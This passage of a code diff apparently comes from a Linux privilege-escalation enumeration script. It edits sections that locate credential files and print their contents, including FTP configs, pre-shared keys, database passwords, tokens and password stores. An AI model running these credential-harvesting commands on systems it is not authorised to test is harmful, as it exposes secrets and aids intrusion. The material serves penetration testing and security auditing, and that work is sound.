"s,winscp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"\.ftpconfig$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.ftpconfig"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "\.ftpconfig$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.ftpconfig$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ffftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ffftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ffftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ffftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ftp\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ftp.config"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ftp\.config$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ftp\.config$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_FTP\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_FTP" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_ROCKETCHAT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Rocketchat Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ROCKETCHAT\" | grep -E \"rocketchat\.service$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "rocketchat.service"; fi; fi; printf "%s" "$PSTORAGE_ROCKETCHAT" | grep -E "rocketchat\.service$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,rocketchat\.service$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E -i "Environment" | sed -${E} "s,mongodb://.*,${SED_RED},g"; done; echo ""; +fi + + +if [ "$PSTORAGE_GLUSTERFS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing GlusterFS Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.pem$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.pem"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.pem$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.pem$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.ca$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.ca"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.ca$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.ca$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_GLUSTERFS\" | grep -E \"glusterfs\.key$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "glusterfs.key"; fi; fi; printf "%s" "$PSTORAGE_GLUSTERFS" | grep -E "glusterfs\.key$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,glusterfs\.key$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_RACOON" ] || [ "$DEBUG" ]; then print_2title "Analyzing Racoon Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"racoon\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "racoon.conf"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "racoon\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,racoon\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,pre_shared_key.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RACOON\" | grep -E \"psk\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "psk.txt"; fi; fi; printf "%s" "$PSTORAGE_RACOON" | grep -E "psk\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,psk\.txt$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_OPERA" ] || [ "$DEBUG" ]; then print_2title "Analyzing Opera Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_OPERA\" | grep -E \"com\.operasoftware\.Opera$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "com.operasoftware.Opera"; fi; fi; printf "%s" "$PSTORAGE_OPERA" | grep -E "com\.operasoftware\.Opera$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,com\.operasoftware\.Opera$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_SAFARI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Safari Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SAFARI\" | grep -E \"Safari$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Safari"; fi; fi; printf "%s" "$PSTORAGE_SAFARI" | grep -E "Safari$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Safari$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; fi if [ "$PSTORAGE_INFLUXDB" ] || [ "$DEBUG" ]; then print_2title "Analyzing InfluxDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INFLUXDB\" | grep -E \"influxdb\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "influxdb.conf"; fi; fi; printf "%s" "$PSTORAGE_INFLUXDB" | grep -E "influxdb\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,influxdb\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,auth-enabled.*=.*false|token|https-private-key,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_ZABBIX" ] || [ "$DEBUG" ]; then print_2title "Analyzing Zabbix Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_server\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_server.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_server\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_server\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,DBName|DBUser|DBPassword,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix_agentd\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix_agentd.conf"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix_agentd\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix_agentd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,TLSPSKFile|psk,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_ZABBIX\" | grep -E \"zabbix$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "zabbix"; fi; fi; printf "%s" "$PSTORAGE_ZABBIX" | grep -E "zabbix$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,zabbix$,${SED_RED},"; find "$f" -name "*.psk" | while read ff; do ls -ld "$ff" | sed -${E} "s,.psk,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_PRE_SHARED_KEYS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pre-Shared Keys Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" | sed -${E} "s,\.psk$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PRE_SHARED_KEYS\" | grep -E \"\.psk$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.psk"; fi; fi; printf "%s" "$PSTORAGE_PRE_SHARED_KEYS" | grep -E "\.psk$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.psk$,${SED_RED},"; done; echo ""; fi if [ "$PSTORAGE_PASS_STORE_DIRECTORIES" ] || [ "$DEBUG" ]; then print_2title "Analyzing Pass Store Directories Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo ""; + if ! [ "`echo \"$PSTORAGE_PASS_STORE_DIRECTORIES\" | grep -E \"\.password-store$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".password-store"; fi; fi; printf "%s" "$PSTORAGE_PASS_STORE_DIRECTORIES" | grep -E "\.password-store$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.password-store$,${SED_RED},"; ls -lRA "$f";done; echo ""; fi if [ "$PSTORAGE_BIND" ] || [ "$DEBUG" ]; then print_2title "Analyzing Bind Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_BIND\" | grep -E \"bind$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bind"; fi; fi; printf "%s" "$PSTORAGE_BIND" | grep -E "bind$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bind$,${SED_RED},"; find "$f" -name "*" | while read ff; do ls -ld "$ff" | sed -${E} "s,.*,${SED_RED},"; done; echo "";find "$f" -name "*.key" | while read ff; do ls -ld "$ff" | sed -${E} "s,.key,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_SEEDDMS" ] || [ "$DEBUG" ]; then print_2title "Analyzing SeedDMS Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SEEDDMS\" | grep -E \"seeddms.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "seeddms*"; fi; fi; printf "%s" "$PSTORAGE_SEEDDMS" | grep -E "seeddms.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,seeddms.*$,${SED_RED},"; find "$f" -name "settings.xml" | while read ff; do ls -ld "$ff" | sed -${E} "s,settings.xml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "=" | sed -${E} "s,[pP][aA][sS][sS],${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_DDCLIENT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Ddclient Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_DDCLIENT\" | grep -E \"ddclient\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ddclient.conf"; fi; fi; printf "%s" "$PSTORAGE_DDCLIENT" | grep -E "ddclient\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ddclient\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_SENTRY" ] || [ "$DEBUG" ]; then print_2title "Analyzing Sentry Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo ""; - if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry$,${SED_RED},"; find "$f" -name "config.yml" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.yml,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,*key*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_SENTRY\" | grep -E \"sentry\.conf\.py$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sentry.conf.py"; fi; fi; printf "%s" "$PSTORAGE_SENTRY" | grep -E "sentry\.conf\.py$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,sentry\.conf\.py$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_STRAPI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Strapi Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_STRAPI\" | grep -E \"environments$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "environments"; fi; fi; printf "%s" "$PSTORAGE_STRAPI" | grep -E "environments$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,environments$,${SED_RED},"; find "$f" -name "custom.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,custom.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "database.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,database.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "request.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,request.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "response.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,response.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "security.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,security.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";find "$f" -name "server.json" | while read ff; do ls -ld "$ff" | sed -${E} "s,server.json,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,username.*|[pP][aA][sS][sS].*|secret.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_CACTI" ] || [ "$DEBUG" ]; then print_2title "Analyzing Cacti Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_CACTI\" | grep -E \"cacti$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "cacti"; fi; fi; printf "%s" "$PSTORAGE_CACTI" | grep -E "cacti$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,cacti$,${SED_RED},"; find "$f" -name "config.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "config.php.dist" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.php.dist,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "installer.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,installer.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_ROUNDCUBE" ] || [ "$DEBUG" ]; then print_2title "Analyzing Roundcube Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E 